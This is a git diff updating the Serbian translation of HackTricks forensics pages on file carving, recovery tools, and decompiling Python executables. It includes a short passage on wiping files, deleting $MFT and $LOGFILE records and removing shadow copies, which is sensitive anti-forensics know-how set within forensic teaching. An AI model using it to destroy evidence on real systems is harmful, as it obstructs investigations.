-Takođe, OS obično čuva mnogo informacija o promenama fajl-sistema i rezervnim kopijama, pa je moguće pokušati ih koristiti za obnovu fajla ili što više informacija.
+Takođe, OS obično čuva mnogo informacija o promenama u sistemu datoteka i rezervnim kopijama, tako da je moguće pokušati koristiti ih za oporavak datoteke ili što više informacija.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
-### **Izvlačenje fajlova**
+### **File Carving**
-**Izvlačenje fajlova** je tehnika koja pokušava **pronaći fajlove u masi podataka**. Postoje 3 glavna načina rada alata poput ovog: **Na osnovu zaglavlja i podnožja tipova fajlova**, na osnovu **strukture tipova fajlova** i na osnovu **sadržaja** samog fajla.
+**File carving** je tehnika koja pokušava da **pronađe datoteke u masi podataka**. Postoje 3 glavna načina na koje alati poput ovog funkcionišu: **Na osnovu zaglavlja i repova tipova datoteka**, na osnovu struktura tipova datoteka i na osnovu **sadržaja** samog.
-Imajte na umu da ova tehnika **ne funkcioniše za povrat fragmentiranih fajlova**. Ako fajl **nije smešten u susednim sektorima**, tada ova tehnika neće moći da ga pronađe ili bar deo njega.
+Napomena da ova tehnika **ne funkcioniše za vraćanje fragmentisanih datoteka**. Ako datoteka **nije pohranjena u kontiguitetnim sektorima**, tada ova tehnika neće moći da je pronađe ili barem deo nje.
-Postoje različiti alati koje možete koristiti za izvlačenje fajlova, navodeći tipove fajlova koje želite pretraživati.
+Postoji nekoliko alata koje možete koristiti za file carving koji označavaju tipove datoteka koje želite da pretražujete.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
-### Izvlačenje podataka iz **struja**
+### Data Stream **C**arving
-Izvlačenje podataka iz struja slično je izvlačenju fajlova, ali **umesto traženja kompletnih fajlova, traži zanimljive fragmente** informacija.\
-Na primer, umesto traženja kompletnog fajla koji sadrži evidentirane URL-ove, ovom tehnikom će se tražiti URL-ovi.
+Data Stream Carving je sličan File Carving-u, ali **umesto da traži kompletne datoteke, traži zanimljive fragmente** informacija.\
+Na primer, umesto da traži kompletnu datoteku koja sadrži zabeležene URL-ove, ova tehnika će tražiti URL-ove.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
-### Bezbedno brisanje
+### Sigurno brisanje
-Očigledno, postoje načini za **"sigurno" brisanje fajlova i delova zapisa o njima**. Na primer, moguće je **prepisati sadržaj** fajla sa beskorisnim podacima nekoliko puta, a zatim **ukloniti** zapise iz **$MFT** i **$LOGFILE** o fajlu, i **ukloniti kopije senki zapisa**.\
-Možda ćete primetiti da čak i nakon sprovođenja te radnje, postoji **još delova gde je postojanje fajla evidentirano**, što je tačno, a deo posla forenzičara je da ih pronađe.
+Očigledno, postoje načini da se **"sigurno" obrišu datoteke i deo logova o njima**. Na primer, moguće je **prepisati sadržaj** datoteke sa smešnim podacima nekoliko puta, a zatim **ukloniti** **logove** iz **$MFT** i **$LOGFILE** o datoteci, i **ukloniti kopije senki volumena**.\
+Možda ćete primetiti da čak i nakon izvođenja te akcije može postojati **drugi delovi gde je postojanje datoteke još uvek zabeleženo**, i to je tačno, a deo posla forenzičkog stručnjaka je da ih pronađe.
## Reference
@@ -240,4 +242,19 @@ Možda ćete primetiti da čak i nakon sprovođenja te radnje, postoji **još de
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
-* **iHackLabs Certified Digital Forensics Windows**
+* **iHackLabs Sertifikovani Digitalni Forenzik Windows**
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
index c4ffdbcfc..00e193789 100644
--- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
+++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
@@ -1,18 +1,19 @@
-# Alatke za izdvajanje i obnavljanje podataka
+# File/Data Carving & Recovery Tools
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
**Try Hard Security Group**
@@ -22,17 +23,17 @@ Drugi načini podrške HackTricks-u:
***
-## Alatke za izdvajanje i obnavljanje
+## Carving & Recovery tools
-Više alatki na [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
+Više alata na [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
-Najčešće korišćeni alat u forenzici za izdvajanje fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte ga i pustite da obradi fajl kako bi pronašao "skrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i obične fajlove.
+Najčešći alat korišćen u forenzici za ekstrakciju fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte i omogućite mu da učita fajl kako bi pronašao "sakrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i obične fajlove.
### Binwalk
-**Binwalk** je alat za analizu binarnih fajlova radi pronalaženja ugrađenog sadržaja. Može se instalirati putem `apt` i njegov izvorni kod se nalazi na [GitHub-u](https://github.com/ReFirmLabs/binwalk).
+**Binwalk** je alat za analizu binarnih fajlova kako bi se pronašao ugrađeni sadržaj. Može se instalirati putem `apt`, a njegov izvor je na [GitHub](https://github.com/ReFirmLabs/binwalk).
**Korisne komande**:
```bash
@@ -43,32 +44,34 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
-Još jedan čest alat za pronalaženje skrivenih datoteka je **foremost**. Konfiguracionu datoteku za foremost možete pronaći u `/etc/foremost.conf`. Ako želite da pretražujete samo određene datoteke, uklonite komentare ispred njih. Ako ne uklonite komentare, foremost će pretraživati prema svojim podrazumevano konfigurisanim tipovima datoteka.
+Još jedan uobičajen alat za pronalaženje skrivenih fajlova je **foremost**. Konfiguracioni fajl foremost-a možete pronaći u `/etc/foremost.conf`. Ako želite da pretražujete samo neke specifične fajlove, otkomentarišite ih. Ako ne otkomentarišete ništa, foremost će pretraživati svoje podrazumevane konfiguracione tipove fajlova.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```
-### **Skalpel**
+### **Scalpel**
-**Skalpel** je još jedan alat koji se može koristiti za pronalaženje i izdvajanje **datoteka ugrađenih u datoteku**. U ovom slučaju, moraćete da uklonite komentare iz konfiguracione datoteke (_/etc/scalpel/scalpel.conf_) za vrste datoteka koje želite da izdvojite.
+**Scalpel** je još jedan alat koji se može koristiti za pronalaženje i ekstrakciju **datoteka ugrađenih u datoteku**. U ovom slučaju, potrebno je da odkomentarišete tipove datoteka iz konfiguracione datoteke (_/etc/scalpel/scalpel.conf_) koje želite da ekstraktujete.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
### Bulk Extractor
-Ovaj alat dolazi unutar kali distribucije, ali ga možete pronaći ovde: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
+Ovaj alat dolazi unutar kali, ali ga možete pronaći ovde: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
-Ovaj alat može skenirati sliku i **izdvojiti pcaps** unutar nje, **informacije o mreži (URL-ovi, domeni, IP adrese, MAC adrese, mejlovi)** i više **datoteka**. Samo treba da uradite:
+Ovaj alat može skenirati sliku i **izvući pcaps** unutar nje, **mrežne informacije (URL-ovi, domeni, IP-ovi, MAC-ovi, e-mailovi)** i još **datoteka**. Samo treba da uradite:
```
bulk_extractor memory.img -o out_folder
```
+Navigate through **sve informacije** koje je alat prikupio (lozinke?), **analizirajte** **pakete** (pročitajte [**analizu Pcaps**](../pcap-inspection/)), pretražujte **čudne domene** (domene povezane sa **malverom** ili **nepostojećim**).
+
### PhotoRec
Možete ga pronaći na [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
-Dolazi sa GUI i CLI verzijama. Možete odabrati **tipove datoteka** koje želite da PhotoRec pretražuje.
+Dolazi sa GUI i CLI verzijama. Možete odabrati **tipove fajlova** koje želite da PhotoRec pretražuje.
![](<../../../.gitbook/assets/image (524).png>)
@@ -76,31 +79,31 @@ Dolazi sa GUI i CLI verzijama. Možete odabrati **tipove datoteka** koje želite
Proverite [kod](https://code.google.com/archive/p/binvis/) i [web stranicu alata](https://binvis.io/#/).
-#### Funkcije BinVis
+#### Karakteristike BinVis
-* Vizuelni i aktivni **pregled strukture**
-* Više grafikona za različite fokusne tačke
+* Vizuelni i aktivni **pregledač strukture**
+* Više grafova za različite tačke fokusa
* Fokusiranje na delove uzorka
-* **Videti niske i resurse**, u PE ili ELF izvršnim datotekama npr.
-* Dobijanje **obrazaca** za kriptoanalizu datoteka
-* **Otkrivanje** algoritama pakovanja ili enkodiranja
-* **Identifikacija** steganografije po obrascima
-* **Vizuelno** binarno diferenciranje
+* **Videti stringove i resurse**, u PE ili ELF izvršnim fajlovima npr.
+* Dobijanje **šablona** za kriptoanalizu na fajlovima
+* **Uočavanje** pakera ili enkoder algoritama
+* **Identifikacija** steganografije po šablonima
+* **Vizuelno** binarno poređenje
-BinVis je odlično **polazište za upoznavanje sa nepoznatim ciljem** u scenariju crne kutije.
+BinVis je odlična **polazna tačka za upoznavanje sa nepoznatim ciljem** u scenariju crne kutije.
-## Specifični alati za izvlačenje podataka
+## Specifični alati za vađenje podataka
### FindAES
-Pretražuje AES ključeve tražeći njihove rasporede ključeva. Može pronaći 128, 192 i 256 bitne ključeve, poput onih koje koriste TrueCrypt i BitLocker.
+Pretražuje AES ključeve tražeći njihove rasporede ključeva. Sposoban je da pronađe 128, 192 i 256 bitne ključeve, kao što su oni koje koriste TrueCrypt i BitLocker.
Preuzmite [ovde](https://sourceforge.net/projects/findaes/).
-## Komplementarni alati
+## Dodatni alati
-Možete koristiti [**viu** ](https://github.com/atanunq/viu) da vidite slike iz terminala.\
-Možete koristiti linux alat komandne linije **pdftotext** da transformišete pdf u tekst i pročitate ga.
+Možete koristiti [**viu**](https://github.com/atanunq/viu) da vidite slike iz terminala.\
+Možete koristiti linux komandnu liniju alat **pdftotext** da transformišete pdf u tekst i pročitate ga.
**Try Hard Security Group**
@@ -108,16 +111,17 @@ Možete koristiti linux alat komandne linije **pdftotext** da transformišete pd
{% embed url="https://discord.gg/tryhardsecurity" %}
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od početka do naprednog nivoa sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
index 9bf1e8769..272c8e488 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
@@ -1,26 +1,27 @@
-# Dekompilacija kompajliranih Python binarnih fajlova (exe, elf) - Dobijanje iz .pyc
+# Decompile compiled python binaries (exe, elf) - Retreive from .pyc
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-**Savet za bug bounty**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
+**Bug bounty tip**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
-## Od Kompajliranog Binarnog Fajla do .pyc
+## From Compiled Binary to .pyc
Iz **ELF** kompajliranog binarnog fajla možete **dobiti .pyc** sa:
```bash
@@ -41,38 +42,38 @@ pyi-archive_viewer
? X binary_name
to filename? /tmp/binary.pyc
```
-U **python exe binarnom** fajlu možete **dobiti .pyc** pokretanjem:
+U **python exe binarnom** kompajliranom možete **dobiti .pyc** pokretanjem:
```bash
python pyinstxtractor.py executable.exe
```
-## Od .pyc do python koda
+## From .pyc to python code
-Za **.pyc** podatke ("kompajlirani" python) trebalo bi da počnete sa pokušajem **izvlačenja** **originalnog** **python** **koda**:
+Za **.pyc** podatke ("kompilirani" python) trebali biste početi pokušavati da **izvučete** **originalni** **python** **kod**:
```bash
uncompyle6 binary.pyc > decompiled.py
```
-**Proverite** da li binarni fajl ima **ekstenziju** "**.pyc**" (ako nema, **uncompyle6** neće raditi)
+**Budite sigurni** da binarni fajl ima **ekstenziju** "**.pyc**" (ako ne, uncompyle6 neće raditi)
-Prilikom izvršavanja **uncompyle6** mogu se pojaviti **sljedeće greške**:
+Tokom izvršavanja **uncompyle6** mogli biste naići na **sledeće greške**:
-### Greška: Nepoznat broj magičnog broja 227
+### Greška: Nepoznat magični broj 227
```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc
```
-Da biste to popravili, trebate **dodati tačan magični broj** na početak generisanog fajla.
+Da biste to popravili, potrebno je da **dodate ispravan magični broj** na početku generisanog fajla.
-**Magični brojevi variraju sa verzijom Python-a**, da biste dobili magični broj za **Python 3.8** trebaće vam da **otvorite Python 3.8** terminal i izvršite:
+**Magični brojevi se razlikuju u zavisnosti od verzije pythona**, da biste dobili magični broj za **python 3.8**, potrebno je da **otvorite python 3.8** terminal i izvršite:
```
>> import imp
>> imp.get_magic().hex()
'550d0d0a'
```
-**Magični broj** u ovom slučaju za python3.8 je **`0x550d0d0a`**, zatim, da biste ispravili ovu grešku, moraćete **dodati** na **početak** **.pyc datoteke** sledeće bajtove: `0x0d550a0d000000000000000000000000`
+**Magični broj** u ovom slučaju za python3.8 je **`0x550d0d0a`**, zatim, da biste ispravili ovu grešku, moraćete da **dodate** na **početak** **.pyc datoteke** sledeće bajtove: `0x0d550a0d000000000000000000000000`
-**Kada** ste to **dodali**, greška bi trebalo da bude ispravljena.
+**Jednom** kada ste **dodali** taj magični zaglavlje, **greška bi trebala biti ispravljena.**
-Ovako će izgledati ispravno dodat **.pyc python3.8 magični zaglavlje**:
+Ovako će izgledati ispravno dodato **.pyc python3.8 magično zaglavlje**:
```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@@ -80,21 +81,21 @@ hexdump 'binary.pyc' | head
0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064
```
-### Greška: Dekompilacija generičkih grešaka
+### Greška: Decompiling generic errors
-**Druge greške** poput: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` mogu se pojaviti.
+**Druge greške** kao što su: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` mogu se pojaviti.
-Ovo verovatno znači da **nisu pravilno dodati** magični brojevi ili da niste **koristili** **ispravan magični broj**, pa se uverite da koristite ispravan (ili pokušajte sa novim).
+To verovatno znači da **niste ispravno dodali** magični broj ili da niste **koristili** **ispravan magični broj**, pa se **pobrinite da koristite ispravan** (ili pokušajte novi).
-Proverite dokumentaciju prethodne greške.
+Proverite dokumentaciju o prethodnim greškama.
## Automatski alat
-Alat [**python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) služi kao kombinacija nekoliko alata dostupnih zajednici, dizajniranih da pomognu istraživačima u raspakivanju i dekompilaciji izvršnih datoteka napisanih u Pythonu, posebno onih kreiranih sa py2exe i pyinstaller. Uključuje YARA pravila za identifikaciju da li je izvršna datoteka zasnovana na Pythonu i potvrđuje alat za kreiranje.
+[**python-exe-unpacker alat**](https://github.com/countercept/python-exe-unpacker) služi kao kombinacija nekoliko alata dostupnih u zajednici, dizajniranih da pomognu istraživačima u raspakivanju i decompiling-u izvršnih datoteka napisanih u Python-u, posebno onih kreiranih sa py2exe i pyinstaller. Uključuje YARA pravila za identifikaciju da li je izvršna datoteka zasnovana na Python-u i potvrđuje alat za kreiranje.
-### ImportError: Naziv datoteke: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' ne postoji
+### ImportError: Ime datoteke: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' ne postoji
-Čest problem koji se javlja uključuje nepotpunu Python bajt kod datoteku koja proizlazi iz **procesa raspakivanja sa unpy2exe ili pyinstxtractor**, što onda **nije prepoznato od strane uncompyle6 zbog nedostajućeg broja verzije Python bajt koda**. Da biste rešili ovo, dodata je opcija prepend, koja dodaje neophodan broj verzije Python bajt koda, olakšavajući proces dekompilacije.
+Uobičajen problem koji se javlja uključuje nepotpunu Python bytecode datoteku koja je rezultat **procesa raspakivanja sa unpy2exe ili pyinstxtractor**, koja zatim **ne može biti prepoznata od strane uncompyle6 zbog nedostatka verzionog broja Python bytecode-a**. Da bi se to rešilo, dodata je opcija za preklapanje, koja dodaje neophodni verzioni broj Python bytecode-a, olakšavajući proces decompiling-a.
Primer problema:
```python
@@ -114,9 +115,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file
[+] Successfully decompiled.
```
-## Analiza python asemblažnog koda
+## Analyzing python assembly
-Ako niste uspeli da izvučete "originalni" Python kod prateći prethodne korake, možete pokušati da **izvučete** asemblažni kod (ali **nije vrlo opisan**, pa pokušajte ponovo da izvučete **originalni kod**). Na [ovom linku](https://bits.theorem.co/protecting-a-python-codebase/) pronašao sam veoma jednostavan kod za **raspakivanje** _.pyc_ binarnog fajla (srećno sa razumevanjem toka koda). Ako je _.pyc_ fajl iz Python 2, koristite Python 2:
+Ako niste mogli da izvučete "originalni" python kod prateći prethodne korake, možete pokušati da **izvučete** **assembler** (ali **nije baš opisno**, pa **pokušajte** ponovo da izvučete **originalni** kod). U [ovde](https://bits.theorem.co/protecting-a-python-codebase/) sam pronašao vrlo jednostavan kod za **disassembling** _.pyc_ binarnog fajla (srećno sa razumevanjem toka koda). Ako je _.pyc_ iz python2, koristite python2:
```bash
>>> import dis
>>> import marshal
@@ -159,15 +160,15 @@ True
14 LOAD_CONST 0 (None)
17 RETURN_VALUE
```
-## Python u izvršni fajl
+## Python to Executable
-Da bismo počeli, pokazaćemo vam kako se payloadi mogu kompajlovati u py2exe i PyInstaller-u.
+Da počnemo, pokažaćemo vam kako se payloadi mogu kompajlirati u py2exe i PyInstaller.
-### Za kreiranje payloada korišćenjem py2exe:
+### Da kreirate payload koristeći py2exe:
-1. Instalirajte paket py2exe sa [http://www.py2exe.org/](http://www.py2exe.org)
-2. Za payload (u ovom slučaju, nazvaćemo ga hello.py), koristite skriptu poput one u Figuri 1. Opcija "bundle\_files" sa vrednošću 1 će uključiti sve, uključujući i Python interpretera, u jedan exe fajl.
-3. Kada je skripta spremna, izdaćemo komandu "python setup.py py2exe". Ovo će kreirati izvršni fajl, baš kao na slici 2.
+1. Instalirajte py2exe paket sa [http://www.py2exe.org/](http://www.py2exe.org)
+2. Za payload (u ovom slučaju, nazvaćemo ga hello.py), koristite skriptu kao što je prikazano na Slici 1. Opcija “bundle\_files” sa vrednošću 1 će sve spojiti, uključujući Python interpreter, u jedan exe.
+3. Kada je skripta spremna, izdaćemo komandu “python setup.py py2exe”. Ovo će kreirati izvršni fajl, baš kao na Slici 2.
```python
from distutils.core import setup
import py2exe, sys, os
@@ -195,10 +196,10 @@ running py2exe
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
```
-### Kako napraviti payload koristeći PyInstaller:
+### Da kreirate payload koristeći PyInstaller:
-1. Instalirajte PyInstaller pomoću pip-a (pip install pyinstaller).
-2. Nakon toga, izdaćemo komandu "pyinstaller --onefile hello.py" (napomena da je 'hello.py' naš payload). Ovo će sve upakovati u jedan izvršni fajl.
+1. Instalirajte PyInstaller koristeći pip (pip install pyinstaller).
+2. Nakon toga, izdaćemo komandu “pyinstaller –onefile hello.py” (podsećanje da je ‘hello.py’ naš payload). Ovo će sve spojiti u jedan izvršni fajl.
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
@@ -211,26 +212,27 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
```
-## Reference
+## References
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
-**Savet o nagradi za otkrivanje grešaka**: **Prijavite se** za **Intigriti**, premijum **platformu za otkrivanje grešaka kreiranu od strane hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
+**Bug bounty tip**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
index af4438394..86ddde64b 100644
